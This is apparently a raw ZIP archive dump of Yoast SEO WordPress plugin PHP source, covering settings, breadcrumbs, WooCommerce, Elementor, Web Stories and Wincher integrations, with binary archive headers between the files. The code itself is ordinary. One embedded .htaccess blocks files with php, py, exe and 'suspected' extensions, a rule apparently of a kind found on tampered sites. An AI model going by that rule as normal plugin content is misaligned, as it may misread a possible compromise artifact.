			'sitemapUrl'                    => WPSEO_Sitemaps_Router::get_base_url( 'sitemap_index.xml' ),
			'hasWooCommerceShopPage'        => $shop_page_id !== -1,
			'editWooCommerceShopPageUrl'    => \get_edit_post_link( $shop_page_id, 'js' ),
			'wooCommerceShopPageSettingUrl' => \get_admin_url( null, 'admin.php?page=wc-settings&tab=products' ),
			'localSeoPageSettingUrl'        => $business_settings_url,
			'homepageIsLatestPosts'         => $homepage_is_latest_posts,
			'homepagePageEditUrl'           => \get_edit_post_link( $page_on_front, 'js' ),
			'homepagePostsEditUrl'          => \get_edit_post_link( $page_for_posts, 'js' ),
			'createUserUrl'                 => \admin_url( 'user-new.php' ),
			'createPageUrl'                 => \admin_url( 'post-new.php?post_type=page' ),
			'editUserUrl'                   => \admin_url( 'user-edit.php' ),
			'editTaxonomyUrl'               => \admin_url( 'edit-tags.php' ),
			'generalSettingsUrl'            => \admin_url( 'options-general.php' ),
			'companyOrPersonMessage'        => \apply_filters( 'wpseo_knowledge_graph_setting_msg', '' ),
			'currentUserId'                 => \get_current_user_id(),
			'canCreateUsers'                => \current_user_can( 'create_users' ),
			'canCreatePages'                => \current_user_can( 'edit_pages' ),
			'canEditUsers'                  => \current_user_can( 'edit_users' ),
			'canManageOptions'              => \current_user_can( 'manage_options' ),
			'userLocale'                    => \str_replace( '_', '-', \get_user_locale() ),
			'pluginUrl'                     => \plugins_url( '', \WPSEO_FILE ),
			'showForceRewriteTitlesSetting' => ! \current_theme_supports( 'title-tag' ) && ! ( \function_exists( 'wp_is_block_theme' ) && \wp_is_block_theme() ),
			'upsellSettings'                => $this->get_upsell_settings(),
			'siteRepresentsPerson'          => $this->get_site_represents_person( $settings ),
			'siteBasicsPolicies'            => $this->get_site_basics_policies( $settings ),
		];
	}

	/**
	 * Retrieves the currently represented person.
	 *
	 * @param array $settings The settings.
	 *
	 * @return array The currently represented person's ID and name.
	 */
	protected function get_site_represents_person( $settings ) {
		$person = [
			'id'   => false,
			'name' => '',
		];

		if ( isset( $settings['wpseo_titles']['company_or_person_user_id'] ) ) {
			$person['id'] = $settings['wpseo_titles']['company_or_person_user_id'];
			$user         = \get_userdata( $person['id'] );
			if ( $user instanceof WP_User ) {
				$person['name'] = $user->get( 'display_name' );
			}
		}

		return $person;
	}

	/**
	 * Get site policy data.
	 *
	 * @param array $settings The settings.
	 *
	 * @return array The policy data.
	 */
	private function get_site_basics_policies( $settings ) {
		$policies = [];

		$policies = $this->maybe_add_policy( $policies, $settings['wpseo_titles']['publishing_principles_id'], 'publishing_principles_id' );
		$policies = $this->maybe_add_policy( $policies, $settings['wpseo_titles']['ownership_funding_info_id'], 'ownership_funding_info_id' );
		$policies = $this->maybe_add_policy( $policies, $settings['wpseo_titles']['actionable_feedback_policy_id'], 'actionable_feedback_policy_id' );
		$policies = $this->maybe_add_policy( $policies, $settings['wpseo_titles']['corrections_policy_id'], 'corrections_policy_id' );
		$policies = $this->maybe_add_policy( $policies, $settings['wpseo_titles']['ethics_policy_id'], 'ethics_policy_id' );
		$policies = $this->maybe_add_policy( $policies, $settings['wpseo_titles']['diversity_policy_id'], 'diversity_policy_id' );
		$policies = $this->maybe_add_policy( $policies, $settings['wpseo_titles']['diversity_staffing_report_id'], 'diversity_staffing_report_id' );

		return $policies;
	}

	/**
	 * Adds policy data if it is present.
	 *
	 * @param array  $policies The existing policy data.
	 * @param int    $policy   The policy id to check.
	 * @param string $key      The option key name.
	 *
	 * @return array<int,string> The policy data.
	 */
	private function maybe_add_policy( $policies, $policy, $key ) {
		$policy_array = [
			'id'   => 0,
			'name' => \__( 'None', 'wordpress-seo' ),
		];

		if ( isset( $policy ) && \is_int( $policy ) ) {
			$policy_array['id'] = $policy;
			$post               = \get_post( $policy );
			if ( $post instanceof WP_Post ) {
				if ( $post->post_status !== 'publish' || $post->post_password !== '' ) {
					return $policies;
				}
				$policy_array['name'] = $post->post_title;
			}
		}

		$policies[ $key ] = $policy_array;

		return $policies;
	}

	/**
	 * Returns settings for the Call to Buy (CTB) buttons.
	 *
	 * @return array<string> The array of CTB settings.
	 */
	public function get_upsell_settings() {
		return [
			'actionId'     => 'load-nfd-ctb',
			'premiumCtbId' => 'f6a84663-465f-4cb5-8ba5-f7a6d72224b2',
		];
	}

	/**
	 * Retrieves the default setting values.
	 *
	 * These default values are currently being used in the UI for dummy fields.
	 * Dummy fields should not expose or reflect the actual data.
	 *
	 * @return array The default setting values.
	 */
	protected function get_default_setting_values() {
		$defaults = [];

		// Add Yoast settings.
		foreach ( WPSEO_Options::$options as $option_name => $instance ) {
			if ( \in_array( $option_name, self::ALLOWED_OPTION_GROUPS, true ) ) {
				$option_instance          = WPSEO_Options::get_option_instance( $option_name );
				$defaults[ $option_name ] = ( $option_instance ) ? $option_instance->get_defaults() : [];
			}
		}
		// Add WP settings.
		foreach ( self::WP_OPTIONS as $option_name ) {
			$defaults[ $option_name ] = '';
		}

		// Remove disallowed settings.
		foreach ( self::DISALLOWED_SETTINGS as $option_name => $disallowed_settings ) {
			foreach ( $disallowed_settings as $disallowed_setting ) {
				unset( $defaults[ $option_name ][ $disallowed_setting ] );
			}
		}

		if ( \defined( 'WPSEO_LOCAL_FILE' ) ) {
			$defaults = $this->get_defaults_from_local_seo( $defaults );
		}

		return $defaults;
	}

	/**
	 * Retrieves the organization schema values from Local SEO for defaults in Site representation fields.
	 * Specifically for the org-vat-id, org-tax-id, org-email and org-phone options.
	 *
	 * @param array<string|int|bool> $defaults The settings defaults.
	 *
	 * @return array<string|int|bool> The settings defaults with local seo overides.
	 */
	protected function get_defaults_from_local_seo( $defaults ) {
		$local_options      = \get_option( 'wpseo_local' );
		$multiple_locations = $local_options['use_multiple_locations'];
		$same_organization  = $local_options['multiple_locations_same_organization'];
		$shared_info        = $local_options['multiple_locations_shared_business_info'];
		if ( $multiple_locations !== 'on' || ( $multiple_locations === 'on' && $same_organization === 'on' && $shared_info === 'on' ) ) {
			$defaults['wpseo_titles']['org-vat-id'] = $local_options['location_vat_id'];
			$defaults['wpseo_titles']['org-tax-id'] = $local_options['location_tax_id'];
			$defaults['wpseo_titles']['org-email']  = $local_options['location_email'];
			$defaults['wpseo_titles']['org-phone']  = $local_options['location_phone'];
		}

		if ( \wpseo_has_primary_location() ) {
			$primary_location = $local_options['multiple_locations_primary_location'];

			$location_keys = [
				'org-phone'  => [
					'is_overridden' => '_wpseo_is_overridden_business_phone',
					'value'         => '_wpseo_business_phone',
				],
				'org-email'  => [
					'is_overridden' => '_wpseo_is_overridden_business_email',
					'value'         => '_wpseo_business_email',
				],
				'org-tax-id' => [
					'is_overridden' => '_wpseo_is_overridden_business_tax_id',
					'value'         => '_wpseo_business_tax_id',
				],
				'org-vat-id' => [
					'is_overridden' => '_wpseo_is_overridden_business_vat_id',
					'value'         => '_wpseo_business_vat_id',
				],
			];

			foreach ( $location_keys as $key => $meta_keys ) {
				$is_overridden = ( $shared_info === 'on' ) ? \get_post_meta( $primary_location, $meta_keys['is_overridden'], true ) : false;
				if ( $is_overridden === 'on' || $shared_info !== 'on' ) {
					$post_meta_value                  = \get_post_meta( $primary_location, $meta_keys['value'], true );
					$defaults['wpseo_titles'][ $key ] = ( $post_meta_value ) ? $post_meta_value : '';
				}
			}
		}

		return $defaults;
	}

	/**
	 * Retrieves the settings and their values.
	 *
	 * @param array $default_setting_values The default setting values.
	 *
	 * @return array The settings.
	 */
	protected function get_settings( $default_setting_values ) {
		$settings = [];

		// Add Yoast settings.
		foreach ( WPSEO_Options::$options as $option_name => $instance ) {
			if ( \in_array( $option_name, self::ALLOWED_OPTION_GROUPS, true ) ) {
				$settings[ $option_name ] = \array_merge( $default_setting_values[ $option_name ], WPSEO_Options::get_option( $option_name ) );
			}
		}
		// Add WP settings.
		foreach ( self::WP_OPTIONS as $option_name ) {
			$settings[ $option_name ] = \get_option( $option_name );
		}

		// Remove disallowed settings.
		foreach ( self::DISALLOWED_SETTINGS as $option_name => $disallowed_settings ) {
			foreach ( $disallowed_settings as $disallowed_setting ) {
				unset( $settings[ $option_name ][ $disallowed_setting ] );
			}
		}

		return $settings;
	}

	/**
	 * Transforms setting values.
	 *
	 * @param array $settings The settings.
	 *
	 * @return array The settings.
	 */
	protected function transform_settings( $settings ) {
		if ( isset( $settings['wpseo_titles']['breadcrumbs-sep'] ) ) {
			/**
			 * The breadcrumbs separator default value is the HTML entity `&raquo;`.
			 * Which does not get decoded in our JS, while it did in our Yoast form. Decode it here as an exception.
			 */
			$settings['wpseo_titles']['breadcrumbs-sep'] = \html_entity_decode(
				$settings['wpseo_titles']['breadcrumbs-sep'],
				( \ENT_NOQUOTES | \ENT_HTML5 ),
				'UTF-8'
			);
		}

		/**
		 * Decode some WP options.
		 */
		$settings['blogdescription'] = \html_entity_decode(
			$settings['blogdescription'],
			( \ENT_NOQUOTES | \ENT_HTML5 ),
			'UTF-8'
		);

		return $settings;
	}

	/**
	 * Retrieves the disabled settings.
	 *
	 * @param array $settings The settings.
	 *
	 * @return array The settings.
	 */
	protected function get_disabled_settings( $settings ) {
		$disabled_settings = [];
		$site_language     = $this->language_helper->get_language();

		foreach ( WPSEO_Options::$options as $option_name => $instance ) {
			if ( ! \in_array( $option_name, self::ALLOWED_OPTION_GROUPS, true ) ) {
				continue;
			}

			$disabled_settings[ $option_name ] = [];
			$option_instance                   = WPSEO_Options::get_option_instance( $option_name );
			if ( $option_instance === false ) {
				continue;
			}
			foreach ( $settings[ $option_name ] as $setting_name => $setting_value ) {
				if ( $option_instance->is_disabled( $setting_name ) ) {
					$disabled_settings[ $option_name ][ $setting_name ] = 'network';
				}
			}
		}

		// Remove disabled on multisite settings.
		if ( \is_multisite() ) {
			foreach ( self::DISABLED_ON_MULTISITE_SETTINGS as $option_name => $disabled_ms_settings ) {
				if ( \array_key_exists( $option_name, $disabled_settings ) ) {
					foreach ( $disabled_ms_settings as $disabled_ms_setting ) {
						$disabled_settings[ $option_name ][ $disabled_ms_setting ] = 'multisite';
					}
				}
			}
		}

		if ( \array_key_exists( 'wpseo', $disabled_settings ) && ! $this->language_helper->has_inclusive_language_support( $site_language ) ) {
			$disabled_settings['wpseo']['inclusive_language_analysis_active'] = 'language';
		}

		return $disabled_settings;
	}

	/**
	 * Retrieves the replacement variables.
	 *
	 * @return array The replacement variables.
	 */
	protected function get_replacement_variables() {
		$recommended_replace_vars = new WPSEO_Admin_Recommended_Replace_Vars();
		$specific_replace_vars    = new WPSEO_Admin_Editor_Specific_Replace_Vars();
		$replacement_variables    = $this->replace_vars->get_replacement_variables_with_labels();

		return [
			'variables'   => $replacement_variables,
			'recommended' => $recommended_replace_vars->get_recommended_replacevars(),
			'specific'    => $specific_replace_vars->get(),
			'shared'      => $specific_replace_vars->get_generic( $replacement_variables ),
		];
	}

	/**
	 * Retrieves the schema.
	 *
	 * @param array $post_types The post types.
	 *
	 * @return array The schema.
	 */
	protected function get_schema( array $post_types ) {
		$schema = [];

		foreach ( $this->schema_types->get_article_type_options() as $article_type ) {
			$schema['articleTypes'][ $article_type['value'] ] = [
				'label' => $article_type['name'],
				'value' => $article_type['value'],
			];
		}

		foreach ( $this->schema_types->get_page_type_options() as $page_type ) {
			$schema['pageTypes'][ $page_type['value'] ] = [
				'label' => $page_type['name'],
				'value' => $page_type['value'],
			];
		}

		$schema['articleTypeDefaults'] = [];
		$schema['pageTypeDefaults']    = [];
		foreach ( $post_types as $name => $post_type ) {
			$schema['articleTypeDefaults'][ $name ] = WPSEO_Options::get_default( 'wpseo_titles', "schema-article-type-$name" );
			$schema['pageTypeDefaults'][ $name ]    = WPSEO_Options::get_default( 'wpseo_titles', "schema-page-type-$name" );
		}

		return $schema;
	}

	/**
	 * Transforms the post types, to represent them.
	 *
	 * @param WP_Post_Type[] $post_types The WP_Post_Type array to transform.
	 *
	 * @return array The post types.
	 */
	protected function transform_post_types( $post_types ) {
		$transformed    = [];
		$new_post_types = $this->options->get( 'new_post_types', [] );
		foreach ( $post_types as $post_type ) {
			$transformed[ $post_type->name ] = [
				'name'                 => $post_type->name,
				'route'                => $this->get_route( $post_type->name, $post_type->rewrite, $post_type->rest_base ),
				'label'                => $post_type->label,
				'singularLabel'        => $post_type->labels->singular_name,
				'hasArchive'           => $this->post_type_helper->has_archive( $post_type ),
				'hasSchemaArticleType' => $this->article_helper->is_article_post_type( $post_type->name ),
				'menuPosition'         => $post_type->menu_position,
				'isNew'                => \in_array( $post_type->name, $new_post_types, true ),
			];
		}

		\uasort( $transformed, [ $this, 'compare_post_types' ] );

		return $transformed;
	}

	/**
	 * Compares two post types.
	 *
	 * @param array $a The first post type.
	 * @param array $b The second post type.
	 *
	 * @return int The order.
	 */
	protected function compare_post_types( $a, $b ) {
		if ( $a['menuPosition'] === null && $b['menuPosition'] !== null ) {
			return 1;
		}
		if ( $a['menuPosition'] !== null && $b['menuPosition'] === null ) {
			return -1;
		}

		if ( $a['menuPosition'] === null && $b['menuPosition'] === null ) {
			// No position specified, order alphabetically by label.
			return \strnatcmp( $a['label'], $b['label'] );
		}

		return ( ( $a['menuPosition'] < $b['menuPosition'] ) ? -1 : 1 );
	}

	/**
	 * Transforms the taxonomies, to represent them.
	 *
	 * @param WP_Taxonomy[] $taxonomies      The WP_Taxonomy array to transform.
	 * @param string[]      $post_type_names The post type names.
	 *
	 * @return array The taxonomies.
	 */
	protected function transform_taxonomies( $taxonomies, $post_type_names ) {
		$transformed    = [];
		$new_taxonomies = $this->options->get( 'new_taxonomies', [] );
		foreach ( $taxonomies as $taxonomy ) {
			$transformed[ $taxonomy->name ] = [
				'name'          => $taxonomy->name,
				'route'         => $this->get_route( $taxonomy->name, $taxonomy->rewrite, $taxonomy->rest_base ),
				'label'         => $taxonomy->label,
				'showUi'        => $taxonomy->show_ui,
				'singularLabel' => $taxonomy->labels->singular_name,
				'postTypes'     => \array_filter(
					$taxonomy->object_type,
					static function ( $object_type ) use ( $post_type_names ) {
						return \in_array( $object_type, $post_type_names, true );
					}
				),
				'isNew'         => \in_array( $taxonomy->name, $new_taxonomies, true ),
			];
		}

		\uasort(
			$transformed,
			static function ( $a, $b ) {
				return \strnatcmp( $a['label'], $b['label'] );
			}
		);

		return $transformed;
	}

	/**
	 * Gets the route from a name, rewrite and rest_base.
	 *
	 * @param string $name      The name.
	 * @param array  $rewrite   The rewrite data.
	 * @param string $rest_base The rest base.
	 *
	 * @return string The route.
	 */
	protected function get_route( $name, $rewrite, $rest_base ) {
		$route = $name;
		if ( isset( $rewrite['slug'] ) ) {
			$route = $rewrite['slug'];
		}
		if ( ! empty( $rest_base ) ) {
			$route = $rest_base;
		}
		// Always strip leading slashes.
		while ( \substr( $route, 0, 1 ) === '/' ) {
			$route = \substr( $route, 1 );
		}

		return $route;
	}

	/**
	 * Retrieves the fallbacks.
	 *
	 * @return array The fallbacks.
	 */
	protected function get_fallbacks() {
		$site_logo_id = \get_option( 'site_logo' );
		if ( ! $site_logo_id ) {
			$site_logo_id = \get_theme_mod( 'custom_logo' );
		}
		if ( ! $site_logo_id ) {
			$site_logo_id = '0';
		}

		return [
			'siteLogoId' => $site_logo_id,
		];
	}
}
PK       ! 6ʷ      abstract-exclude-post-type.phpnu [        <?php

namespace Yoast\WP\SEO\Integrations;

/**
 * Abstract class for excluding certain post types from being indexed.
 */
abstract class Abstract_Exclude_Post_Type implements Integration_Interface {

	/**
	 * Initializes the integration.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_filter( 'wpseo_indexable_excluded_post_types', [ $this, 'exclude_post_types' ] );
	}

	/**
	 * Exclude the post type from the indexable table.
	 *
	 * @param array $excluded_post_types The excluded post types.
	 *
	 * @return array The excluded post types, including the specific post type.
	 */
	public function exclude_post_types( $excluded_post_types ) {
		return \array_merge( $excluded_post_types, $this->get_post_type() );
	}

	/**
	 * This integration is only active when the child class's conditionals are met.
	 *
	 * @return array|string[] The conditionals.
	 */
	public static function get_conditionals() {
		return [];
	}

	/**
	 * Returns the names of the post types to be excluded.
	 * To be used in the wpseo_indexable_excluded_post_types filter.
	 *
	 * @return array The names of the post types.
	 */
	abstract public function get_post_type();
}
PK       ! 3X      breadcrumbs-integration.phpnu [        <?php

namespace Yoast\WP\SEO\Integrations;

use WPSEO_Replace_Vars;
use Yoast\WP\SEO\Memoizers\Meta_Tags_Context_Memoizer;
use Yoast\WP\SEO\Presenters\Breadcrumbs_Presenter;
use Yoast\WP\SEO\Surfaces\Helpers_Surface;

/**
 * Adds customizations to the front end for breadcrumbs.
 */
class Breadcrumbs_Integration implements Integration_Interface {

	/**
	 * The breadcrumbs presenter.
	 *
	 * @var Breadcrumbs_Presenter
	 */
	private $presenter;

	/**
	 * The meta tags context memoizer.
	 *
	 * @var Meta_Tags_Context_Memoizer
	 */
	private $context_memoizer;

	/**
	 * Breadcrumbs integration constructor.
	 *
	 * @param Helpers_Surface            $helpers          The helpers.
	 * @param WPSEO_Replace_Vars         $replace_vars     The replace vars.
	 * @param Meta_Tags_Context_Memoizer $context_memoizer The meta tags context memoizer.
	 */
	public function __construct(
		Helpers_Surface $helpers,
		WPSEO_Replace_Vars $replace_vars,
		Meta_Tags_Context_Memoizer $context_memoizer
	) {
		$this->context_memoizer        = $context_memoizer;
		$this->presenter               = new Breadcrumbs_Presenter();
		$this->presenter->helpers      = $helpers;
		$this->presenter->replace_vars = $replace_vars;
	}

	/**
	 * Returns the conditionals based in which this loadable should be active.
	 *
	 * @return array The array of conditionals.
	 */
	public static function get_conditionals() {
		return [];
	}

	/**
	 * Registers the `wpseo_breadcrumb` shortcode.
	 *
	 * @codeCoverageIgnore
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_shortcode( 'wpseo_breadcrumb', [ $this, 'render' ] );
	}

	/**
	 * Renders the breadcrumbs.
	 *
	 * @return string The rendered breadcrumbs.
	 */
	public function render() {
		$context = $this->context_memoizer->for_current_page();

		/** This filter is documented in src/integrations/front-end-integration.php */
		$presentation = \apply_filters( 'wpseo_frontend_presentation', $context->presentation, $context );

		$this->presenter->presentation = $presentation;

		return $this->presenter->present();
	}
}
PK       ! p(    %  third-party/woocommerce-post-edit.phpnu [        <?php

namespace Yoast\WP\SEO\Integrations\Third_Party;

use WP_Post;
use Yoast\WP\SEO\Conditionals\Admin\Post_Conditional;
use Yoast\WP\SEO\Conditionals\WooCommerce_Conditional;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * A WooCommerce integration that runs in the post editor.
 */
class WooCommerce_Post_Edit implements Integration_Interface {

	/**
	 * Register the hooks for this integration to work.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_filter( 'wpseo_post_edit_values', [ $this, 'remove_meta_description_date' ], 10, 2 );
	}

	/**
	 * Only run this integration when WooCommerce is active and the user is in the post editor.
	 *
	 * @return string[] The conditionals that should be met before this integration is loaded.
	 */
	public static function get_conditionals() {
		return [ WooCommerce_Conditional::class, Post_Conditional::class ];
	}

	/**
	 * Don't show the date in the Google preview for WooCommerce products,
	 * since Google does not show dates for product pages in the search results.
	 *
	 * @param array   $values Key-value map of variables we enqueue in the JavaScript of the post editor.
	 * @param WP_Post $post   The post currently opened in the editor.
	 *
	 * @return array The values, where the `metaDescriptionDate` is set to the empty string.
	 */
	public function remove_meta_description_date( $values, $post ) {
		if ( $post->post_type === 'product' ) {
			$values['metaDescriptionDate'] = '';
		}

		return $values;
	}
}
PK       ! e@    ,  third-party/exclude-elementor-post-types.phpnu [        <?php

namespace Yoast\WP\SEO\Integrations\Third_Party;

use Yoast\WP\SEO\Conditionals\Third_Party\Elementor_Activated_Conditional;
use Yoast\WP\SEO\Integrations\Abstract_Exclude_Post_Type;

/**
 * Excludes certain Elementor-specific post types from the indexable table.
 *
 * Posts with these post types will not be saved to the indexable table.
 */
class Exclude_Elementor_Post_Types extends Abstract_Exclude_Post_Type {

	/**
	 * This integration is only active when the Elementor plugin
	 * is installed and activated.
	 *
	 * @return array|string[] The conditionals.
	 */
	public static function get_conditionals() {
		return [ Elementor_Activated_Conditional::class ];
	}

	/**
	 * Returns the names of the post types to be excluded.
	 * To be used in the wpseo_indexable_excluded_post_types filter.
	 *
	 * @return array The names of the post types.
	 */
	public function get_post_type() {
		return [ 'elementor_library' ];
	}
}
PK       ! uJ]      third-party/web-stories.phpnu [        <?php

namespace Yoast\WP\SEO\Integrations\Third_Party;

use Yoast\WP\SEO\Conditionals\Web_Stories_Conditional;
use Yoast\WP\SEO\Context\Meta_Tags_Context;
use Yoast\WP\SEO\Integrations\Front_End_Integration;
use Yoast\WP\SEO\Integrations\Integration_Interface;
use Yoast\WP\SEO\Models\Indexable;
use Yoast\WP\SEO\Presentations\Indexable_Presentation;
use Yoast\WP\SEO\Presenters\Title_Presenter;

/**
 * Web Stories integration.
 */
class Web_Stories implements Integration_Interface {

	/**
	 * The front end integration.
	 *
	 * @var Front_End_Integration
	 */
	protected $front_end;

	/**
	 * Returns the conditionals based in which this loadable should be active.
	 *
	 * @return array
	 */
	public static function get_conditionals() {
		return [ Web_Stories_Conditional::class ];
	}

	/**
	 * Constructs the Web Stories integration
	 *
	 * @param Front_End_Integration $front_end The front end integration.
	 */
	public function __construct( Front_End_Integration $front_end ) {
		$this->front_end = $front_end;
	}

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		// Disable default title and meta description output in the Web Stories plugin,
		// and force-add title & meta description presenter, regardless of theme support.
		\add_filter( 'web_stories_enable_document_title', '__return_false' );
		\add_filter( 'web_stories_enable_metadata', '__return_false' );
		\add_filter( 'wpseo_frontend_presenters', [ $this, 'filter_frontend_presenters' ], 10, 2 );

		\add_action( 'web_stories_enable_schemaorg_metadata', '__return_false' );
		\add_action( 'web_stories_enable_open_graph_metadata', '__return_false' );
		\add_action( 'web_stories_enable_twitter_metadata', '__return_false' );

		\add_action( 'web_stories_story_head', [ $this, 'web_stories_story_head' ], 1 );
		\add_filter( 'wpseo_schema_article_type', [ $this, 'filter_schema_article_type' ], 10, 2 );
		\add_filter( 'wpseo_metadesc', [ $this, 'filter_meta_description' ], 10, 2 );
	}

	/**
	 * Filter 'wpseo_frontend_presenters' - Allow filtering the presenter instances in or out of the request.
	 *
	 * @param array             $presenters The presenters.
	 * @param Meta_Tags_Context $context    The meta tags context for the current page.
	 * @return array Filtered presenters.
	 */
	public function filter_frontend_presenters( $presenters, $context ) {
		if ( $context->indexable->object_sub_type !== 'web-story' ) {
			return $presenters;
		}

		$has_title_presenter = false;

		foreach ( $presenters as $presenter ) {
			if ( $presenter instanceof Title_Presenter ) {
				$has_title_presenter = true;
			}
		}

		if ( ! $has_title_presenter ) {
			$presenters[] = new Title_Presenter();
		}

		return $presenters;
	}

	/**
	 * Hooks into web story <head> generation to modify output.
	 *
	 * @return void
	 */
	public function web_stories_story_head() {
		\remove_action( 'web_stories_story_head', 'rel_canonical' );
		\add_action( 'web_stories_story_head', [ $this->front_end, 'call_wpseo_head' ], 9 );
	}

	/**
	 * Filters the meta description for stories.
	 *
	 * @param string                 $description  The description sentence.
	 * @param Indexable_Presentation $presentation The presentation of an indexable.
	 * @return string The description sentence.
	 */
	public function filter_meta_description( $description, $presentation ) {
		if ( $description || $presentation->model->object_sub_type !== 'web-story' ) {
			return $description;
		}

		return \get_the_excerpt( $presentation->model->object_id );
	}

	/**
	 * Filters Article type for Web Stories.
	 *
	 * @param string|string[] $type      The Article type.
	 * @param Indexable       $indexable The indexable.
	 * @return string|string[] Article type.
	 */
	public function filter_schema_article_type( $type, $indexable ) {
		if ( $indexable->object_sub_type !== 'web-story' ) {
			return $type;
		}

		if ( \is_string( $type ) && $type === 'None' ) {
			return 'Article';
		}

		return $type;
	}
}
PK       ! @Q     .  third-party/exclude-woocommerce-post-types.phpnu [        <?php

namespace Yoast\WP\SEO\Integrations\Third_Party;

use Yoast\WP\SEO\Conditionals\WooCommerce_Conditional;
use Yoast\WP\SEO\Integrations\Abstract_Exclude_Post_Type;

/**
 * Excludes certain WooCommerce-specific post types from the indexable table.
 *
 * Posts with these post types will not be saved to the indexable table.
 */
class Exclude_WooCommerce_Post_Types extends Abstract_Exclude_Post_Type {

	/**
	 * This integration is only active when the WooCommerce plugin
	 * is installed and activated.
	 *
	 * @return array|string[] The conditionals.
	 */
	public static function get_conditionals() {
		return [ WooCommerce_Conditional::class ];
	}

	/**
	 * Returns the names of the post types to be excluded.
	 * To be used in the wpseo_indexable_excluded_post_types filter.
	 *
	 * @return array The names of the post types.
	 */
	public function get_post_type() {
		return [ 'shop_order' ];
	}
}
PK       ! )        third-party/.htaccessnu 6$        <FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK       ! tro  o    third-party/wincher-publish.phpnu [        <?php

namespace Yoast\WP\SEO\Integrations\Third_Party;

use WP_Post;
use Yoast\WP\SEO\Actions\Wincher\Wincher_Account_Action;
use Yoast\WP\SEO\Actions\Wincher\Wincher_Keyphrases_Action;
use Yoast\WP\SEO\Conditionals\Wincher_Automatically_Track_Conditional;
use Yoast\WP\SEO\Conditionals\Wincher_Conditional;
use Yoast\WP\SEO\Conditionals\Wincher_Enabled_Conditional;
use Yoast\WP\SEO\Conditionals\Wincher_Token_Conditional;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * Handles automatically tracking published posts with Wincher.
 */
class Wincher_Publish implements Integration_Interface {

	/**
	 * The Wincher enabled conditional.
	 *
	 * @var Wincher_Enabled_Conditional
	 */
	protected $wincher_enabled;

	/**
	 * The options helper.
	 *
	 * @var Options_Helper
	 */
	protected $options_helper;

	/**
	 * The Wincher keyphrases action handler.
	 *
	 * @var Wincher_Keyphrases_Action
	 */
	protected $keyphrases_action;

	/**
	 * The Wincher account action handler.
	 *
	 * @var Wincher_Account_Action
	 */
	protected $account_action;

	/**
	 * Wincher publish constructor.
	 *
	 * @param Wincher_Enabled_Conditional $wincher_enabled   The WPML WPSEO conditional.
	 * @param Options_Helper              $options_helper    The options helper.
	 * @param Wincher_Keyphrases_Action   $keyphrases_action The keyphrases action class.
	 * @param Wincher_Account_Action      $account_action    The account action class.
	 */
	public function __construct(
		Wincher_Enabled_Conditional $wincher_enabled,
		Options_Helper $options_helper,
		Wincher_Keyphrases_Action $keyphrases_action,
		Wincher_Account_Action $account_action
	) {
		$this->wincher_enabled   = $wincher_enabled;
		$this->options_helper    = $options_helper;
		$this->keyphrases_action = $keyphrases_action;
		$this->account_action    = $account_action;
	}

	/**
	 * Initializes the integration.
	 *
	 * @return void
	 */
	public function register_hooks() {
		/**
		 * Called in the REST API when submitting the post copy in the Block Editor.
		 * Runs the republishing of the copy onto the original.
		 */
		\add_action( 'rest_after_insert_post', [ $this, 'track_after_rest_api_request' ] );

		/**
		 * Called by `wp_insert_post()` when submitting the post copy, which runs in two cases:
		 * - In the Classic Editor, where there's only one request that updates everything.
		 * - In the Block Editor, only when there are custom meta boxes.
		 */
		\add_action( 'wp_insert_post', [ $this, 'track_after_post_request' ], \PHP_INT_MAX, 2 );
	}

	/**
	 * Returns the conditionals based in which this loadable should be active.
	 *
	 * This integration should only be active when the feature is enabled, a token is available and automatically tracking is enabled.
	 *
	 * @return array The conditionals.
	 */
	public static function get_conditionals() {
		return [
			Wincher_Conditional::class,
			Wincher_Enabled_Conditional::class,
			Wincher_Automatically_Track_Conditional::class,
			Wincher_Token_Conditional::class,
		];
	}

	/**
	 * Determines whether the current request is a REST request.
	 *
	 * @return bool Whether the request is a REST request.
	 *
	 * @deprecated 23.6
	 * @codeCoverageIgnore
	 */
	public function is_rest_request() {
		\_deprecated_function( __METHOD__, 'Yoast SEO 23.6', 'wp_is_serving_rest_request' );
		return \defined( 'REST_REQUEST' ) && \REST_REQUEST;
	}

	/**
	 * Sends the keyphrases associated with the post to Wincher for automatic tracking.
	 *
	 * @param WP_Post $post The post to extract the keyphrases from.
	 *
	 * @return void
	 */
	public function track_request( $post ) {
		if ( ! $post instanceof WP_Post ) {
			return;
		}

		// Filter out empty entries.
		$keyphrases = \array_filter( $this->keyphrases_action->collect_keyphrases_from_post( $post ) );

		if ( ! empty( $keyphrases ) ) {
			$this->keyphrases_action->track_keyphrases( $keyphrases, $this->account_action->check_limit() );
		}
	}

	/**
	 * Republishes the original post with the passed post, when using the Block Editor.
	 *
	 * @param WP_Post $post The copy's post object.
	 *
	 * @return void
	 */
	public function track_after_rest_api_request( $post ) {
		$this->track_request( $post );
	}

	/**
	 * Republishes the original post with the passed post, when using the Classic Editor.
	 *
	 * Runs also in the Block Editor to save the custom meta data only when there
	 * are custom meta boxes.
	 *
	 * @param int     $post_id The copy's post ID.
	 * @param WP_Post $post    The copy's post object.
	 *
	 * @return void
	 */
	public function track_after_post_request( $post_id, $post ) {
		if ( \wp_is_serving_rest_request() ) {
			return;
		}

		$this->track_request( $post );
	}
}
PK       ! ca]L^  ^    third-party/elementor.phpnu [        <?php

namespace Yoast\WP\SEO\Integrations\Third_Party;

use WP_Post;
use WP_Screen;
use WPSEO_Admin_Asset_Manager;
use WPSEO_Admin_Recommended_Replace_Vars;
use WPSEO_Meta;
use WPSEO_Metabox_Analysis_Inclusive_Language;
use WPSEO_Metabox_Analysis_Readability;
use WPSEO_Metabox_Analysis_SEO;
use WPSEO_Metabox_Formatter;
use WPSEO_Post_Metabox_Formatter;
use WPSEO_Replace_Vars;
use WPSEO_Utils;
use Yoast\WP\SEO\Conditionals\Third_Party\Elementor_Edit_Conditional;
use Yoast\WP\SEO\Editors\Application\Site\Website_Information_Repository;
use Yoast\WP\SEO\Elementor\Infrastructure\Request_Post;
use Yoast\WP\SEO\Helpers\Capability_Helper;
